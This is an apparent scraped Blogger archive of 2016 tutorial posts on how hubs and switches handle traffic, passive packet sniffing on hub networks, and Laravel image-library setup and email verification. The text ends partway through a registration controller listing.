(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-31958487150446679202016-02-19T00:51:00.000-08:002016-02-19T00:53:45.564-08:00Sniffing Packets in a Hubbed Network<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-mNkD9_JKG0o/VsbUmy9NrcI/AAAAAAAACU0/oYdUh0JKBtw/s1600/images.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Packet Analysis" border="0" height="145" src="https://4.bp.blogspot.com/-mNkD9_JKG0o/VsbUmy9NrcI/AAAAAAAACU0/oYdUh0JKBtw/s320/images.png" title="" width="320" /></a></div>
Sniffing on a network that has hubs installed is a dream for any packet analyst.Traffic sent through a hub goes through every port connected to that hub. Therefore, to analyse the traffic running through a computer connected to a hub, all you need to do is connect a packet sniffer to an empty port on the hub. You will be able to see all communication to and from that computer, as well as all communication between any other<br />
devices plugged into that hub. As illustrated in Figure, your visibility window is limitless when your sniffer is connected to a hub-based network.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-FVWLuPQAKiQ/VsbVbba9WlI/AAAAAAAACU8/yTrzn45Uzjc/s1600/Hubs.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Cyber Security Solutions" border="0" src="https://3.bp.blogspot.com/-FVWLuPQAKiQ/VsbVbba9WlI/AAAAAAAACU8/yTrzn45Uzjc/s1600/Hubs.PNG" title="" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Unfortunately for hub-based networks are pretty rare because of the headaches they cause network administrators. Because only one device can communicate at any one time, a device connected through a hub must compete for bandwidth with the other devices trying to communicate through the hub. When two or more devices communicate at the same time, packets collide, as shown in Figure 2. The result may be packet loss, and the communicating devices will compensate for that loss by re transmitting packets,which increases network congestion and collisions. As the level of traffic and number of collisions increase, devices may need to transmit a packet three or four times, decreasing network performance dramatically. It’s easy to understand why most modern networks of any size use switches. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-JbHAqYLdB_A/VsbWkrZ4FII/AAAAAAAACVI/34QmyBjCvpo/s1600/collision.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Programming, Cyber Security Solutions" border="0" height="363" src="https://1.bp.blogspot.com/-JbHAqYLdB_A/VsbWkrZ4FII/AAAAAAAACVI/34QmyBjCvpo/s400/collision.PNG" title="" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<br /></div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script>Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-44050731992792126292016-02-18T11:12:00.001-08:002016-02-18T11:25:15.901-08:00Intervention Library Integration With Laravel<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-gmHNAv4iPj4/VsYREazlF4I/AAAAAAAACT8/WwF6QQnaBKQ/s1600/download.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Laravel Intervention" border="0" src="https://4.bp.blogspot.com/-gmHNAv4iPj4/VsYREazlF4I/AAAAAAAACT8/WwF6QQnaBKQ/s1600/download.jpg" title="Intervention" /></a></div>
Intervention is an image library. It is a very good library for processing images and gives a very short solution for processing images in your application. It comes with several built in functions to help you with image processing.<br />
<br />
In this tutorial i will tell you how to integrate this amazing library with Laravel 5.2. I searched a lot but i was unable to get this knowledge at one point<br />
<br />
<br />
so i thought to write it down.<br />
<h2 style="text-align: left;">
<b>Requirements</b> </h2>
<div>
<br />
In order to install this library you must have one of these two libraries </div>
<div>
<br /></div>
<div>
<ul style="text-align: left;">
<li>GD Library (>=2.0) … <strong>or</strong> …</li>
<li>Imagick PHP extension (>=6.5.7)</li>
</ul>
<b>Note: </b> I am assuming here that you are working in latest environment and have .</div>
<div>
<ul style="text-align: left;">
<li>PHP >= 5.4</li>
<li>Fileinfo Extension</li>
</ul>
That's all we need to install this amazing library so far.</div>
<div>
<br /></div>
<h2 style="text-align: left;">
Getting Started </h2>
<div>
Now to get started you first need to install this library in your project folder but to do this you must have to run this command in your project folder as in my case i am assuming that my XAMPP is in D: so the path will be<br />
<br />
<b><i>d:\xampp\htdocs\'project_name'</i></b></div>
<div>
</div>
<div>
After coming in this folder in cmd run the following command. </div>
<div>
<b><i><br /></i></b></div>
<div>
<b><i>$ php composer.phar require intervention/image</i></b></div>
<div>
<b><i><br /></i></b></div>
<div>
Now your composer.jsaon has been updated automatically and you are able to require the just created<span style="background-color: #cccccc;"> vendor/autoload.php</span> file to PSR-4 autoload the librayr.The library is now installed in your current project but its not over yet. </div>
<div>
<br /></div>
<div>
Intervention image has optional support for Laravel and comes with a <b>Service provider and Facad </b> intergration. The vendor/autoload.php is included by Laravel , so you dont have to require or auto manually. Just do as i say.<br />
<b style="font-style: italic;"><br /></b>After Installation go to laravel <span style="background-color: #cccccc;">config/app.php</span> and in there in the $providers array add this line </div>
<div>
<b style="font-style: italic;"><br /></b></div>
<div>
<b style="font-style: italic;">Intervention\Image\ImageServiceProvider::Class</b></div>
<div>
<b style="font-style: italic;"><br /></b></div>
<div>
Add the facade of thus package to $aliases array in the same file</div>
<div>
<b style="font-style: italic;"><br /></b></div>
<div>
<b style="font-style: italic;">'Image' => Intervention\Image\Facaes\Image::class</b></div>
<div>
<b style="font-style: italic;"><br /></b></div>
<div>
Now the image class will be autoloaded by laravel<b style="font-style: italic;"> </b></div>
<div>
<br /></div>
<div>
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="background-color: white;"><span style="color: #445160; font-family: "open sans" , "arial" , sans-serif; font-size: 14px; line-height: 23px;"><br /></span></span></div>
<div style="text-align: left;">
<br /></div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script>Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-21841010122171183112016-02-10T11:21:00.002-08:002016-02-18T11:25:28.393-08:00Difference Between Hub and Switch<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-X0EcBDsDQOc/VruI_aDgFSI/AAAAAAAACQI/AR2y5XV2LdU/s1600/images.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="92" src="https://3.bp.blogspot.com/-X0EcBDsDQOc/VruI_aDgFSI/AAAAAAAACQI/AR2y5XV2LdU/s320/images.png" width="320" /></a></div>
There is a common misunderstanding in these two hardware pieces which are commonly doing the dirty work of networking in almost every network in this artcile i will describe the differnce between these two.<br />
<br />
<br />
<h2 style="text-align: left;">
Hubs</h2>
<div style="text-align: justify;">
A hub is generally a box with multiple ports. They range from very small to large depending on the requirement. Because hubs can generate a lot of unnecessary network traffic and are</div>
<div style="text-align: justify;">
capable of operating only in half-duplex mode (they cannot send and receive</div>
<div style="text-align: justify;">
data at the same time), you won’t typically see them used in most modern or</div>
<div style="text-align: justify;">
high-density networks (switches are used instead). </div>
<div style="text-align: justify;">
A hub is no more than a repeating device that operates on the physical</div>
<div style="text-align: justify;">
layer of the OSI model. It takes packets sent from one port and transmits</div>
<div style="text-align: justify;">
(repeats) them to every other port on the device. For example, if a computer</div>
<div style="text-align: justify;">
on port 1 of a 4-port hub needs to send data to a computer on port 2, the</div>
<div style="text-align: justify;">
hub sends those packets to ports 1, 2, 3, and 4. The clients connected to</div>
<div style="text-align: justify;">
ports 3 and 4 examine the destination Media Access Control (MAC) address</div>
<div style="text-align: justify;">
field in the Ethernet header of the packet, and they see that the packet is not</div>
<div style="text-align: justify;">
for them, so they drop (discard) the packet. Figure 1-5 illustrates an example</div>
<div style="text-align: justify;">
in which computer A is transmitting data to computer B. When computer A</div>
<div style="text-align: justify;">
sends this data, all computers connected to the hub receive it. Only computer B</div>
<div style="text-align: justify;">
actually accepts the data; the other computers discard it.</div>
<div style="text-align: justify;">
<br /></div>
<blockquote class="tr_bq">
<div style="text-align: justify;">
The best alternatives to hubs in production and high-density networks</div>
<div style="text-align: justify;">
are switches, which are full-duplex devices that can send and receive data</div>
<div style="text-align: justify;">
synchronously.</div>
</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-GhigH4C-2cY/VruMakrx0LI/AAAAAAAACQU/YAHK8y16OWU/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://2.bp.blogspot.com/-GhigH4C-2cY/VruMakrx0LI/AAAAAAAACQU/YAHK8y16OWU/s320/Capture.PNG" width="310" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h2 style="clear: both; text-align: left;">
Switches</h2>
<div>
<div>
Like a hub, a switch is designed to repeat packets. However, unlike a hub,</div>
<div>
rather than broadcasting data to every port, a switch sends data to only the</div>
<div>
computer for which the data is intended.</div>
</div>
<div>
<br /></div>
<div>
<div>
Switches also offer advanced functionality when it comes to handling</div>
<div>
transmitted packets. In order to be able to communicate directly with specific</div>
<div>
devices, switches must be able to uniquely identify devices based on their MAC</div>
<div>
addresses, which means that they must operate on the data link layer of the</div>
<div>
OSI model.</div>
<div>
Switches store the layer 2 address of every connected device in a CAM</div>
<div>
table, which acts as a kind of traffic cop. When a packet is transmitted, the</div>
<div>
switch reads the layer 2 header information in the packet and, using the CAM</div>
<div>
table as reference, determines to which port(s) to send the packet. Switches</div>
<div>
send packets only to specific ports, thus greatly reducing network traffic.</div>
<div>
Figure 1-7 illustrates traffic flow through a switch. In this figure, computer</div>
<div>
A is sending data to only the intended recipient: computer B. Multiple</div>
<div>
conversations can happen on the network at the same time, but information</div>
<div>
is communicated directly between the switch and intended recipient, not</div>
<div>
between the switch and all connected computers.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-vigY0NjAuD4/VruNnN9iMnI/AAAAAAAACQg/XyMs4hCxI9w/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://1.bp.blogspot.com/-vigY0NjAuD4/VruNnN9iMnI/AAAAAAAACQg/XyMs4hCxI9w/s320/Capture.PNG" width="309" /></a></div>
</div>
</div>
<div style="text-align: justify;">
<br /></div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script>Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-59717472106697005312016-02-09T11:20:00.000-08:002016-02-18T11:25:50.322-08:00Mail Verification Using Laravel 5<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-vsdpt5421GI/VrpGH6yw-6I/AAAAAAAACPs/tFLBQkkKF9Q/s1600/images.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-vsdpt5421GI/VrpGH6yw-6I/AAAAAAAACPs/tFLBQkkKF9Q/s1600/images.png" /></a></div>
<span style="font-family: inherit;">In this article i will be showing you how to send a verification email to a user's entered email address. If you listen this process for the first time it sounds like a nightmare but actually if you have a little concept of MVC and laravel architecture then you can easily understand this article and can get a fully automated verification email service on your laravel application.So lets get started.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<br />
<h2 style="text-align: left;">
<span style="font-family: inherit;">
Requirements</span></h2>
<div>
<span style="font-family: inherit;">So in order to do this we will have to create just two fields in the sign up form in addition to the fields that are already in the most users table i.e username,email,password,confirm password etc. So first we need a field with boolean data type in order to keep track that whether a user has activated its account or not. This field will be set to false by default.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">The second field that we require is a <span style="background-color: #cccccc;">confirmation_code </span>field and its data type is string. When a user registers a new account we generate a random string and then store this generated field in the database an email will be sent to the user asking him to confirm his/her account by following a link that we will define in our <span style="background-color: #cccccc;">/app/http/routes.php.</span> When a user will click on this link we will take this information we compile it in our code match with our string and then complete the process.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">The code i am writing below is of a very simple user's table. </span></div>
<div>
<br /></div>
<div>
</div>
<br />
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;"></span><span style="background-color: #f7faff; color: navy; font-weight: bold;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Illuminate\Database\Schema\Blueprint;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Illuminate\Database\Migrations\Migration;</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">class </span><span style="background-color: #f7faff;">CreateUsersTable </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">extends </span><span style="background-color: #f7faff;">Migration</span><span style="background-color: #f7faff;">{</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">/**</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">* Run the migrations.</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">*</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">* </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic; font-weight: bold;">@return </span><span style="background-color: #f7faff; color: grey; font-style: italic;">void</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">*/</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">public function </span><span style="background-color: #f7faff;">up()</span><span style="background-color: #f7faff;"> {</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">Schema::</span><span style="background-color: #f7faff; font-style: italic;">create</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'users'</span><span style="background-color: #f7faff;">, </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">function </span><span style="background-color: #f7faff;">(Blueprint </span><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">) {</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->;increments(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'id'</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->;</span><span style="background-color: #e4e4ff;">string</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'name'</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->;</span><span style="background-color: #e4e4ff;">string</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'email'</span><span style="background-color: #f7faff;">)->;unique();</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->;</span><span style="background-color: #e4e4ff;">string</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'password'</span><span style="background-color: #f7faff;">, </span><span style="background-color: #f7faff; color: blue;">60</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->;boolean(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'confirmed'</span><span style="background-color: #f7faff;">)->;default(</span><span style="background-color: #f7faff; color: blue;">0</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->;</span><span style="background-color: #e4e4ff;">string</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'confirmation_code'</span><span style="background-color: #f7faff;">)->nullable();</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->rememberToken();</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$table</span><span style="background-color: #f7faff;">->timestamps();</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">});</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">}</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">/**</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">* Reverse the migrations.</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">*</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">* </span><span style="background-color: #f7faff; color: grey; font-style: italic; font-weight: bold;">@return </span><span style="background-color: #f7faff; color: grey; font-style: italic;">void</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">*/</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">public function </span><span style="background-color: #f7faff;">down()</span><span style="background-color: #f7faff;"> {</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">Schema::</span><span style="background-color: #f7faff; font-style: italic;">drop</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'users'</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">}</span><span style="background-color: #f7faff; font-size: 12pt;">}</span></pre>
<h2 style="background-color: white; font-family: 'Courier New'; font-size: 12pt; text-align: left;">
</h2>
<h2 style="text-align: left;">
User Registration</h2>
<div>
Now that the user table is set up we can begin adding our registration functionality. This is same as the normal procedure when the user submits we validate and we store. The real story comes after that when we have to generate a random string that is going to be used as the <span style="background-color: #cccccc;">confirmation_code</span> for the user. We can generate the random string by using a helper function of laravel <span style="background-color: #cccccc;">str_random()</span><span style="background-color: white;"> in the argument give the number for the length of the generated string. With the confirmation code generated we now have all the information we need to create user. </span></div>
<div>
<span style="background-color: white;"><u style="font-style: italic; font-weight: bold;">Note </u> If you are using mass assignment with User::create(), You need to set the $fillable property on your user model to contain username, email, password and confirmation code.</span></div>
<div>
<span style="background-color: white;"><br /></span></div>
<div>
<span style="background-color: white;">Now once the user is created we need to send him his confirmation email. We will use laravel's </span><span style="background-color: #cccccc;">Mail::send() </span><span style="background-color: white;"> and create very basic email template that will tale the </span><span style="background-color: #cccccc;">confirmation_code </span><span style="background-color: white;"> and output a link to the confirmation URL that the user needs to visit. </span></div>
<div>
<span style="background-color: white;"><br /></span></div>
<h3 style="text-align: left;">
<span style="background-color: white;">Code For Storing User and Sending Mail </span></h3>
<div>
<span style="background-color: white;">This code will be written in the controller in my case the controller name is </span><span style="background-color: #cccccc;">RegistrationController </span><span style="background-color: white;"> </span></div>
<div>
<span style="background-color: white;"><br /></span></div>
<div>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;"></span><span style="background-color: #f7faff; color: navy; font-weight: bold;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">namespace </span><span style="background-color: #f7faff;">App\Http\Controllers;</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Illuminate\Http\Request;</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">App\Http\Requests;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">App\Http\Controllers\Controller;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Illuminate\Support\Facades\Mail;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Illuminate\Support\Facades\Redirect;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Input;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Validator;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">App\User;</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">use </span><span style="background-color: #f7faff;">Hash;</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">class </span><span style="background-color: #f7faff;">RegistrationController </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">extends </span><span style="background-color: #f7faff;">Controller</span><span style="background-color: #f7faff;">{</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">public function </span><span style="background-color: #f7faff;">send_mail(){</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> </span><span style="background-color: #f7faff; color: #660000;">$auth </span><span style="background-color: #f7faff;">= [</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'name' </span><span style="background-color: #f7faff;">=></span><span style="background-color: #f7faff; color: green; font-weight: bold;">'required|min:6'</span><span style="background-color: #f7faff;">,</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'email' </span><span style="background-color: #f7faff;">=></span><span style="background-color: #f7faff; color: green; font-weight: bold;">'required|email|unique:users'</span><span style="background-color: #f7faff;">,</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'password' </span><span style="background-color: #f7faff;">=></span><span style="background-color: #f7faff; color: green; font-weight: bold;">'required|confirmed|min:6'</span><span style="background-color: #f7faff;">,</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'password_confirmation' </span><span style="background-color: #f7faff;">=></span><span style="background-color: #f7faff; color: green; font-weight: bold;">'required|min:6'</span><span style="background-color: #f7faff; color: green; font-weight: bold;">
</span><span style="background-color: #f7faff; color: green; font-weight: bold;"> </span><span style="background-color: #f7faff;">];</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">// Getting Input</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$input </span><span style="background-color: #f7faff;">= Input::</span><span style="background-color: #f7faff; font-style: italic;">all</span><span style="background-color: #f7faff;">();</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: grey; font-style: italic;">// Performing Validation</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$validator </span><span style="background-color: #f7faff;">= Validator::</span><span style="background-color: #f7faff; font-style: italic;">make</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: #660000;">$input</span><span style="background-color: #f7faff;">, </span><span style="background-color: #f7faff; color: #660000;">$auth</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">if</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: #660000;">$validator</span><span style="background-color: #f7faff;">->fails())</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">{</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">return </span><span style="background-color: #f7faff;">Redirect::</span><span style="background-color: #f7faff; font-style: italic;">back</span><span style="background-color: #f7faff;">()->withInput()->withErrors(</span><span style="background-color: #f7faff; color: #660000;">$validator</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> }</span><span style="background-color: #f7faff;"> </span></pre>
